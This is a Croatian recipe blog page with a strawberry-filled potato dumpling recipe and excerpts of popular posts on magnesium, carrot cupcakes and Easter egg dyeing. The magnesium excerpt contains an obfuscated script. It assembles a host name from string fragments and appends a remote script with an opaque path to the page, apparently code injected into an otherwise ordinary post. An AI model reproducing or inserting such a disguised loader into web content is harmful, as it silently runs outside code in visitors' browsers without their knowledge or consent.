KNEDLE S JAGODAMA 🍓




Knedle s jagodama 



Postoje recepti koji ne služe samo kako bi nas zasitili, nego da nas vrate u neka davno minula vremena, u bakinu kuhinju okupanu suncem. Miris svježe skuhanih knedli sa jagodama jedan je od onih koji nam je ostao negdje u sretnim danima djetinjstva kad su najbolji deserti nastajali od svega nekoliko sastojaka, a mi smo u njima uživali poput malenih praščića dok bi nas baka gledala s blagim smiješkom.




Knedle s jagodama 

Sastojci:

1 kg bijelog krumpira
500 g oštrog brašna
5 žumanjaka
100 ml ulja
1 kg sviježih jagoda
200 g krušnih mrvica
šećer po ukusu




Priprema:

Krumpir obavezno skuhajte u ljusci dok potpuno ne omekša. Još topao ga ogulite i dobro ispasirajte kako biste dobili glatku smjesu bez grudica. Ostavite da se kratko ohladi. U krumpir zatim dodajte brašno i ulje, pa umiješajte žumanca. Mijesite dok tijesto ne postane glatko i elastično te se prestane lijepiti za ruke.

Jagode dobro operite, uklonite peteljke i dobro ih osušite papirnatim ubrusom. Što su jagode bolje osušene, tijesto će lakše zadržati oblik tijekom kuhanja. Uzmite manju količinu tijesta, rastanjite je na dlanu i u sredinu stavite jednu jagodu.

Pažljivo zatvorite tijesto oko jagode i oblikujte kuglu bez pukotina. Jako je bitno naglasiti da posebnu pažnju obratite na to da nema pukotina jer će kroz njih ući voda i uništiti vam trud.


Kuhanje

U većem loncu zagrijte oko tri litre vode. Kada provrije, spuštajte knedle jednu po jednu u kipuću vodu. Kuhajte ih dok ne isplivaju na površinu. To je siguran znak da su gotove. Vadite ih rešetkastom grabilicom i ostavite nekoliko minuta da se ocijede. Tople knedle uvaljajte u krušne mrvice koje ste prethodno pomiješali sa šećerom.

Po želji možete dodati malo cimeta ili vanilin šećera za još bogatiji i finiji okus. Ukoliko želite da knedle ostanu mekane i sljedećeg dana, nemojte pretjerivati s brašnom. Tijesto mora biti nježno i podatno, jer upravo u tome leži tajna knedli koje se tope u ustima.

Poslužite ih tople, uz dodatak šećera u prahu ili kuglu sladoleda od vanilije i uživajte u jednom od najljepših ukusa domaće kuhinje.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više